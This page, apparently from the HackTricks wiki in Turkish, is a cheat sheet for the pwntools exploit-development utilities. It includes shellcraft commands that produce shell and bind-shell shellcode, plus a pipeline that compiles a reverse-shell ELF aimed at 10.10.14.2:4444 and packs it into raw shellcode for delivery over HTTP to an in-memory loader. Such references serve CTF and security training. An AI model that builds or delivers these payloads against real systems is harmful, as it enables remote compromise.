PwnTools
Reading time: 4 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
pip3 install pwntools
Pwn asm
Satırdan veya dosyadan opcodes alın.
pwn asm "jmp esp"
pwn asm -i <filepath>
Seçilebilir:
- çıktı türü (raw,hex,string,elf)
- çıktı dosyası bağlamı (16,32,64,linux,windows...)
- baytlardan kaçın (new lines, null, a list)
- encoder seç, shellcode'u gdb ile debug et ve çıktıyı çalıştır
Pwn checksec
Checksec script
pwn checksec <executable>
Pwn constgrep
Pwn cyclic
Bir pattern al
pwn cyclic 3000
pwn cyclic -l faad
Seçilebilir:
- Kullanılan alfabe (varsayılan olarak küçük harfler)
- uniq pattern uzunluğu (varsayılan 4)
- context (16,32,64,linux,windows...)
- Ofseti al (-l)
Pwn debug
GDB'yi bir işleme bağlayın.
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
Seçilebilir:
- executable'e göre, isim veya pid bağlamına göre (16,32,64,linux,windows...)
- Çalıştırılacak gdbscript
- sysrootpath
Pwn disablenx
Bir binary'nin nx özelliğini devre dışı bırakır
pwn disablenx <filepath>
Pwn disasm
Hex opcodes'larını disassemble et
pwn disasm ffe4
Seçilebilir:
- context (16,32,64,linux,windows...)
- base addres
- color(default)/no color
Pwn elfdiff
İki dosya arasındaki farkları yazdırır
pwn elfdiff <file1> <file2>
Pwn hex
Onaltılık gösterimini al
pwn hex hola #Get hex of "hola" ascii
Pwn phd
hexdump alın
pwn phd <file>
Seçilebilir:
- Gösterilecek bayt sayısı
- Satır başına bayt sayısı — vurgulanacak bayt
- Başlangıçtaki baytları atla
Pwn pwnstrip
Pwn scrable
Pwn shellcraft
Shellcodes al
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
Seçilebilir:
- shellcode ve shellcode için argümanlar
- Çıkış dosyası
- çıktı formatı
- debug (dbg'yi shellcode'a bağla)
- before (koddan önce debug trap)
- sonrası
- opcodes kullanmaktan kaçın (varsayılan: null ve yeni satır içermeyen)
- shellcode'u çalıştır
- Renkli/renksiz
- syscalls listesini göster
- olası shellcode'ları listele
- ELF'i shared library olarak oluştur
Pwn şablonu
Bir python şablonu al
pwn template
Seçilebilir: host, port, user, pass, path and quiet
Pwn unhex
Hex'ten string'e
pwn unhex 686f6c61
Pwn güncellemesi
pwntools'u güncellemek için
pwn update
ELF → raw shellcode paketleme (loader_append)
Pwntools, bağımsız bir ELF'i tek bir raw shellcode bloğuna dönüştürebilir; bu blok segmentlerini kendi kendine haritalar ve yürütmeyi orijinal entrypoint'e aktarır. Bu, memory-only loaders için idealdir (ör. JNI çağırarak indirilen baytları çalıştıran Android uygulamaları).
Tipik işlem hattı (amd64 örneği)
- Statik, konum-bağımsız payload ELF oluşturun (taşınabilirlik için musl önerilir):
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
- pwntools ile ELF'i shellcode'a dönüştürme:
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
- sc'yi bir memory loader'a (ör. HTTP[S] ile) teslim edin ve aynı proses içinde çalıştırın.
Notlar
- loader_append orijinal ELF programını shellcode'un içine gömer ve segmentleri mmaps eden ve entry'ye atlayan küçük bir loader üretir.
- Mimarinin context.clear(arch=...) ile açıkça belirtilmesine dikkat edin. arm64 Android'de yaygındır.
- Payload'unuzun kodunun konum-bağımsız olmasını sağlayın ve proses ASLR/NX hakkında varsayımlarda bulunmaktan kaçının.
Referanslar
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.